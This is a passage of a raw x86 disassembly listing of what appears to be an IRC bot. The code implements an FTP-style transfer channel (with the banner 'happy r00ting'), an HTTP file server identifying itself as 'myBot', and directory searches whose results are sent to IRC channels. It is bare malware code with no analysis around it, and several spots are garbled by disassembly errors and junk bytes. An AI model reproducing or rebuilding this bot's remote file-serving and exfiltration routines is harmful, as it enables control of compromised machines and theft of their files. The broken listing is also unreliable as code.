eax, eax pop ecx jnz loc_403DA9 lea eax, [ebp-2D0h] push eax lea eax, [ebp-0F8h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-29Ch] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_414B30 lea eax, [ebp-0F8h] push eax call sub_413B1F mov edi, eax lea eax, [ebp-2D0h] push eax call sub_413B1F mov [ebp-8], eax push 32h lea eax, [ebp-0F8h] push esi push eax call sub_413630 push dword ptr [ebp-8] lea eax, [ebp-0F8h] push edi push offset aXX ; "%x%x\n" push eax call sub_4135AD add esp, 44h lea eax, [ebp-0F8h] push 10h push esi push eax call sub_414B19 mov [ebp-8], eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-48h] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4135AD add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push dword ptr [ebp+8] call ebx ; dword_41F1DC jmp loc_403C8D ; --------------------------------------------------------------------------- loc_403DA9: ; CODE XREF: seg000:00403CEBj lea eax, [ebp-0ACh] push offset aRetr ; "RETR" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_403E64 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; dword_41F1DC push dword ptr [ebp-8] lea eax, [ebp-48h] push eax call sub_403EB4 pop ecx cmp eax, 1 pop ecx jnz short loc_403E5A call sub_403F31 cmp eax, 1 jnz loc_403E86 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; dword_41F1DC lea eax, [ebp-6D8h] push eax lea eax, [ebp-48h] push ds:dword_42E350 push eax lea eax, [ebp-8DCh] push offset dword_422AC8 push eax call sub_4135AD add esp, 14h cmp [ebp-440h], esi jnz short loc_403E4B push esi lea eax, [ebp-8DCh] push dword ptr [ebp-444h] push eax lea eax, [ebp-4C4h] push eax push dword ptr [ebp-6DCh] call sub_4110B0 add esp, 14h loc_403E4B: ; CODE XREF: seg000:00403E26j lea eax, [ebp-8DCh] push eax call sub_409615 pop ecx jmp short loc_403E86 ; --------------------------------------------------------------------------- loc_403E5A: ; CODE XREF: seg000:00403DE0j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_403E83 ; --------------------------------------------------------------------------- loc_403E64: ; CODE XREF: seg000:00403DBEj lea eax, [ebp-0ACh] push offset aQuit ; "QUIT" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_403E86 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_403E83: ; CODE XREF: seg000:00403B3Cj ; seg000:00403B60j ... push edi call ebx ; dword_41F1DC loc_403E86: ; CODE XREF: seg000:00403C90j ; seg000:00403DEAj ... push 64h lea eax, [ebp-29Ch] push esi push eax call sub_413630 add esp, 0Ch loc_403E98: ; CODE XREF: seg000:00403A11j ; seg000:00403A3Aj ... inc edi cmp edi, [ebp-4] mov [ebp+8], edi jle loc_4039DF jmp loc_4039A4 ; --------------------------------------------------------------------------- loc_403EAA: ; CODE XREF: seg000:004039CFj push 1 pop eax loc_403EAD: ; CODE XREF: seg000:00403981j pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EB4 proc near ; CODE XREF: seg000:00403DD6p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_41F1B4 ; WSAStartup push 0 push 1 push 2 call ds:dword_41F1D8 ; socket push [ebp+arg_0] mov ds:dword_42E34C, eax mov [ebp+var_10], 2 call ds:dword_41F1A8 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_41F1C0 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_42E34C call ds:dword_41F1AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_403F2C push ds:dword_42E34C call ds:dword_41F1D4 ; closesocket call ds:dword_41F1B0 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403F2C: ; CODE XREF: sub_403EB4+60j push 1 pop eax leave retn sub_403EB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F31 proc near ; CODE XREF: seg000:00403DE2p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 0A70000h pusha lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_413CA8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_403FC8 test byte ptr [esi+0Ch], 10h jnz short loc_403FAC push edi mov edi, 400h loc_403F74: ; CODE XREF: sub_403F31+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_414C40 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push ds:dword_42E34C call ds:dword_41F1DC ; send push 1 call ds:dword_41F058 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_403F74 pop edi loc_403FAC: ; CODE XREF: sub_403F31+3Bj push esi call sub_413C00 pop ecx push ds:dword_42E34C call ds:dword_41F1D4 ; closesocket call ds:dword_41F1B0 ; WSACleanup push 1 pop eax loc_403FC8: ; CODE XREF: sub_403F31+35j pop esi leave retn sub_403F31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FCB proc near ; DATA XREF: sub_40571E+333o ; seg000:004103C7o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_1654 = byte ptr -1654h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_654 = byte ptr -654h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_360 = byte ptr -360h var_2C4 = byte ptr -2C4h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_413E30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_413630 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call ds:dword_42F708 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_42F788 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_4043B6 mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_4348A4[eax], edi lea eax, [ebp+var_24] push eax push edi call ds:dword_42F734 cmp eax, 0FFFFFFFFh jz loc_4043B6 push 7FFFFFFFh push edi call ds:dword_42F730 cmp eax, 0FFFFFFFFh jz loc_4043B6 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_42F7A4 cmp eax, 0FFFFFFFFh jz loc_4043B6 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_4040A2: ; CODE XREF: sub_403FCB+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_42F6F0 cmp eax, 0FFFFFFFFh jz loc_4043B1 xor esi, esi mov [ebp+var_4], esi loc_4040D8: ; CODE XREF: sub_403FCB+3DBj lea eax, [ebp+var_6F0] push eax push esi call ds:dword_42F600 test eax, eax jz loc_40439C cmp esi, [ebp+var_C] jnz short loc_40415A lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call ds:dword_42F79C cmp eax, 0FFFFFFFFh jz loc_40439C xor ecx, ecx test ebx, ebx jbe short loc_40412C lea edx, [ebp+var_134] loc_404120: ; CODE XREF: sub_403FCB+15Fj cmp [edx], eax jz short loc_40412C inc ecx add edx, 4 cmp ecx, ebx jb short loc_404120 loc_40412C: ; CODE XREF: sub_403FCB+14Dj ; sub_403FCB+157j cmp ecx, ebx jnz short loc_404149 cmp ebx, 40h jnb short loc_404149 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_404149: ; CODE XREF: sub_403FCB+163j ; sub_403FCB+168j cmp eax, [ebp+var_8] jbe loc_40439C mov [ebp+var_8], eax jmp loc_40439C ; --------------------------------------------------------------------------- loc_40415A: ; CODE XREF: sub_403FCB+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_413630 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_413630 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call ds:dword_42F720 test eax, eax jg short loc_4041ED push esi call ds:dword_42F7A0 xor ecx, ecx test ebx, ebx jbe loc_40439C lea eax, [ebp+var_134] loc_4041AC: ; CODE XREF: sub_403FCB+1EBj cmp [eax], esi jz short loc_4041BD inc ecx add eax, 4 cmp ecx, ebx jb short loc_4041AC jmp loc_40439C ; --------------------------------------------------------------------------- loc_4041BD: ; CODE XREF: sub_403FCB+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_4041E1 lea eax, [ebp+ecx*4+var_134] loc_4041CB: ; CODE XREF: sub_403FCB+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_4041CB loc_4041E1: ; CODE XREF: sub_403FCB+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40439C ; --------------------------------------------------------------------------- loc_4041ED: ; CODE XREF: sub_403FCB+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_413630 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_413DB0 add esp, 10h test eax, eax jbe loc_40439C loc_40421B: ; CODE XREF: sub_403FCB+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_4042C0 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_413B80 pop ecx test eax, eax pop ecx jz short loc_404294 lea eax, [ebp+var_18F0] push eax call sub_413DB0 cmp eax, 5 pop ecx jbe short loc_404294 mov eax, offset asc_422D6C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_413B80 pop ecx pop ecx push eax call sub_413B80 pop ecx pop ecx push eax call sub_414D28 push eax lea eax, [ebp+var_23C] push eax call sub_413CC0 add esp, 10h jmp short loc_4042AB ; --------------------------------------------------------------------------- loc_404294: ; CODE XREF: sub_403FCB+27Fj ; sub_403FCB+291j lea eax, [ebp+var_18F0] push offset asc_422D68 ; "\r\n" push eax call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_4042DF loc_4042AB: ; CODE XREF: sub_403FCB+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_413630 add esp, 0Ch or esi, 0FFFFFFFFh loc_4042C0: ; CODE XREF: sub_403FCB+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_413DB0 cmp [ebp+arg_0], eax pop ecx jb loc_40421B jmp loc_40439C ; --------------------------------------------------------------------------- loc_4042DF: ; CODE XREF: sub_403FCB+2DEj xor ecx, ecx test ebx, ebx jbe short loc_404329 lea eax, [ebp+var_134] loc_4042EB: ; CODE XREF: sub_403FCB+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_4042FC inc ecx add eax, 4 cmp ecx, ebx jb short loc_4042EB jmp short loc_40432C ; --------------------------------------------------------------------------- loc_4042FC: ; CODE XREF: sub_403FCB+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_404320 lea eax, [ebp+ecx*4+var_134] loc_40430A: ; CODE XREF: sub_403FCB+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40430A loc_404320: ; CODE XREF: sub_403FCB+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40432C ; --------------------------------------------------------------------------- loc_404329: ; CODE XREF: sub_403FCB+318j mov esi, [ebp+var_4] loc_40432C: ; CODE XREF: sub_403FCB+32Fj ; sub_403FCB+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_404395 lea eax, [ebp+var_360] push eax call sub_413DB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_413DB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_404395 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call ds:dword_42F7A4 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call loc_4045A8 add esp, 14h jmp short loc_40439C ; --------------------------------------------------------------------------- loc_404395: ; CODE XREF: sub_403FCB+369j ; sub_403FCB+38Fj push esi call ds:dword_42F7A0 loc_40439C: ; CODE XREF: sub_403FCB+11Dj ; sub_403FCB+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_4040D8 jmp loc_4040A2 ; --------------------------------------------------------------------------- loc_4043B1: ; CODE XREF: sub_403FCB+102j mov edi, [ebp+var_C] xor ebx, ebx loc_4043B6: ; CODE XREF: sub_403FCB+6Aj ; sub_403FCB+92j ... call ds:dword_42F69C push eax lea eax, [ebp+var_8F0] push offset unk_422D20 push eax call sub_4135AD add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_4043FC push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_4110B0 add esp, 14h loc_4043FC: ; CODE XREF: sub_403FCB+40Cj lea eax, [ebp+var_8F0] push eax call sub_409615 pop ecx push edi call ds:dword_42F7A0 push [ebp+var_254] call sub_413375 pop ecx push ebx call near ptr 0A70000h adc eax, 555B5E5Fh mov ebp, esp mov eax, 1654h call sub_413E30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4135AD lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_4135AD xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_40448B push offset aTextHtml ; "text/html" jmp short loc_404490 ; --------------------------------------------------------------------------- loc_40448B: ; CODE XREF: sub_403FCB+4B7j push offset aApplicationOct ; "application/octet-stream" loc_404490: ; CODE XREF: sub_403FCB+4BEj lea eax, [ebp+var_9C] push eax call sub_4135AD pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 0A70000h outsd lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 0A70000h out dx, eax lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_404509 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4135AD add esp, 24h jmp short loc_40452A ; --------------------------------------------------------------------------- loc_404509: ; CODE XREF: sub_403FCB+51Fj push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4135AD add esp, 28h loc_40452A: ; CODE XREF: sub_403FCB+53Cj lea eax, [ebp+var_1654] push edi push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call ds:dword_42F758 cmp [ebp+var_A4], edi jnz short loc_40456A lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_404EDA pop ecx pop ecx jmp short loc_404587 ; --------------------------------------------------------------------------- loc_40456A: ; CODE XREF: sub_403FCB+587j lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_404858 add esp, 10h loc_404587: ; CODE XREF: sub_403FCB+59Dj push [ebp+var_44C] call ds:dword_42F7A0 push [ebp+var_B4] call sub_413375 pop ecx push edi call near ptr 0A70000h lea ebx, [edi+5Eh] sub_403FCB endp ; sp-analysis failed loc_4045A8: ; CODE XREF: sub_403FCB+3C0p push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp-210h] push edi push eax mov [ebp-4], edi call sub_413630 mov eax, [ebp+10h] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4045DE push eax push offset aS_2 ; "\\%s" jmp short loc_4045E7 ; --------------------------------------------------------------------------- loc_4045DE: ; CODE XREF: seg000:004045D4j push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4045E7: ; CODE XREF: seg000:004045DCj lea eax, [ebp-10Ch] push eax call sub_4135AD add esp, 0Ch lea eax, [ebp-10Ch] xor esi, esi xor ebx, ebx push eax call sub_413DB0 test eax, eax pop ecx jbe short loc_404682 mov dword ptr [ebp+10h], 2 loc_404612: ; CODE XREF: seg000:00404680j lea eax, [ebp-10Ch] push eax call sub_413DB0 cmp [ebp+10h], eax pop ecx jnb short loc_404652 cmp byte ptr [ebp+esi-10Ch], 25h jnz short loc_404652 cmp byte ptr [ebp+esi-10Bh], 32h jnz short loc_404652 cmp byte ptr [ebp+esi-10Ah], 30h jnz short loc_404652 inc esi mov byte ptr [ebp+ebx-210h], 20h inc esi add dword ptr [ebp+10h], 2 jmp short loc_40466C ; --------------------------------------------------------------------------- loc_404652: ; CODE XREF: seg000:00404622j ; seg000:0040462Cj ... mov al, [ebp+esi-10Ch] cmp al, 2Fh jnz short loc_404662 push 5Ch pop eax jmp short loc_404665 ; --------------------------------------------------------------------------- loc_404662: ; CODE XREF: seg000:0040465Bj movsx eax, al loc_404665: ; CODE XREF: seg000:00404660j mov [ebp+ebx-210h], al loc_40466C: ; CODE XREF: seg000:00404650j lea eax, [ebp-10Ch] inc esi inc dword ptr [ebp+10h] push eax inc ebx call sub_413DB0 cmp esi, eax pop ecx jb short loc_404612 loc_404682: ; CODE XREF: seg000:00404609j lea eax, [ebp-210h] push eax lea eax, [ebp-314h] push dword ptr [ebp+0Ch] push offset aSS_2 ; "%s%s" push eax call sub_4135AD lea eax, [ebp-314h] push offset asc_423020 ; "\n" push eax call sub_414D28 add esp, 18h lea eax, [ebp-314h] push eax call ds:dword_41F07C ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_4046D0 cmp eax, 0FFFFFFFFh jnz short loc_4046D3 push dword ptr [ebp+8] jmp short loc_40474F ; --------------------------------------------------------------------------- loc_4046D0: ; CODE XREF: seg000:004046C4j mov [ebp-4], esi loc_4046D3: ; CODE XREF: seg000:004046C9j cmp byte ptr [ebp+ebx-211h], 5Ch jnz short loc_4046E0 mov [ebp-4], esi loc_4046E0: ; CODE XREF: seg000:004046DBj mov ebx, [ebp+8] cmp [ebp-4], edi mov [ebp-6C4h], ebx mov [ebp-318h], edi jz short loc_40475A cmp [ebp+14h], edi jz short loc_40474E lea eax, [ebp-314h] push offset asc_42301C ; "*" push eax call sub_413CD0 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_4135AD lea eax, [ebp-210h] push eax call sub_404F97 lea eax, [ebp-210h] push eax lea eax, [ebp-53Ch] push eax call sub_4135AD add esp, 1Ch or dword ptr [ebp-330h], 0FFFFFFFFh mov [ebp-31Ch], esi jmp short loc_4047A9 ; --------------------------------------------------------------------------- loc_40474E: ; CODE XREF: seg000:004046F7j push ebx loc_40474F: ; CODE XREF: seg000:004046CEj call ds:dword_42F7A0 jmp loc_404851 ; --------------------------------------------------------------------------- loc_40475A: ; CODE XREF: seg000:004046F2j push edi push edi push 3 push edi push esi lea eax, [ebp-314h] push 80000000h push eax call ds:dword_41F078 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4047A9 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_4135AD pop ecx mov [ebp-31Ch], edi pop ecx push edi push esi call near ptr 0A70000h mov edx, 0D0858956h cld ; --------------------------------------------------------------------------- db 3 dup(0FFh) ; --------------------------------------------------------------------------- adc eax, offset dword_41F070 loc_4047A9: ; CODE XREF: seg000:0040474Cj ; seg000:00404777j mov esi, [ebp+18h] lea eax, [ebp-8C4h] push esi push offset unk_422FD8 push eax call sub_4135AD push edi lea eax, [ebp-8C4h] push 3 push eax call sub_413059 mov [ebp-32Ch], eax imul eax, 234h add esp, 18h mov ds:dword_43489C[eax], esi lea eax, [ebp-8] push eax lea eax, [ebp-6C4h] push edi push eax push 404426h push edi push edi call ds:dword_41F06C ; CreateThread mov ecx, [ebp-32Ch] imul ecx, 234h cmp eax, edi mov ds:dword_4348AC[ecx], eax jz short loc_404823 loc_404811: ; CODE XREF: seg000:00404821j cmp [ebp-318h], edi jnz short loc_404851 push 5 call ds:dword_41F058 ; Sleep jmp short loc_404811 ; --------------------------------------------------------------------------- loc_404823: ; CODE XREF: seg000:0040480Fj push ebx call ds:dword_42F7A0 call ds:dword_41F068 ; RtlGetLastWin32Error push eax lea eax, [ebp-8C4h] push offset unk_422F8C push eax call sub_4135AD lea eax, [ebp-8C4h] push eax call sub_409615 add esp, 10h loc_404851: ; CODE XREF: seg000:00404755j ; seg000:00404817j pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404858 proc near ; CODE XREF: sub_403FCB+5B4p ; seg000:0040F9A7p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_66FD005E = byte ptr 66FD0066h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_413630 mov edi, [ebp+arg_0] push offset asc_423020 ; "\n" push edi call sub_414D28 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4048B7 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_413B2A add esp, 14h jmp loc_4049B4 ; --------------------------------------------------------------------------- loc_4048B7: ; CODE XREF: sub_404858+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40499A call sub_413DB0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_413B2A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_413B2A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 push edi call sub_413DB0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_413B2A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_413B2A add esp, 0Ch jmp short loc_4049B4 ; --------------------------------------------------------------------------- loc_40499A: ; CODE XREF: sub_404858+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_413B2A add esp, 10h loc_4049B4: ; CODE XREF: sub_404858+5Aj ; sub_404858+140j lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 cmp [ebp+arg_C], ebx jz short loc_404A4C push [ebp+arg_C] call sub_413DB0 cmp eax, 2 pop ecx jbe short loc_404A4C push [ebp+arg_C] call sub_413DB0 sub eax, 3 pop ecx jz short loc_404A00 loc_4049F4: ; CODE XREF: sub_404858+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_404A00 dec eax jnz short loc_4049F4 loc_404A00: ; CODE XREF: sub_404858+19Aj ; sub_404858+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_414DD0 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_413B2A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 loc_404A4C: ; CODE XREF: sub_404858+17Ej ; sub_404858+18Cj lea eax, [ebp+var_388] push eax push edi call ds:dword_41F090 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call ds:dword_41F08C ; FindNextFileA test eax, eax jz loc_404E3D mov edi, 1FFh loc_404A78: ; CODE XREF: sub_404858+5DFj cmp [ebp+var_388], ebx jz loc_404E25 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_404E25 lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_404E25 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 0A70000h jmp far ptr 458Dh:50E8458Dh ; --------------------------------------------------------------------------- db 0E0h, 50h, 0E8h ; --------------------------------------------------------------------------- sub [ebp+arg_66FD005E], dh mov eax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_404AED mov ecx, offset aAm ; "AM" loc_404AED: ; CODE XREF: sub_404858+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_404AF9 sub eax, 0Ch loc_404AF9: ; CODE XREF: sub_404858+29Cj push ecx movzx ecx, word ptr [ebp+var_10+2] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4135AD add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_404CA6 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_404B7A lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_413B2A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_413B2A add esp, 28h jmp loc_404DF6 ; --------------------------------------------------------------------------- loc_404B7A: ; CODE XREF: sub_404858+2DBj cmp [ebp+arg_C], ebx jz loc_404C64 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_413B2A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_42F758 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_413B2A add esp, 14h lea eax, 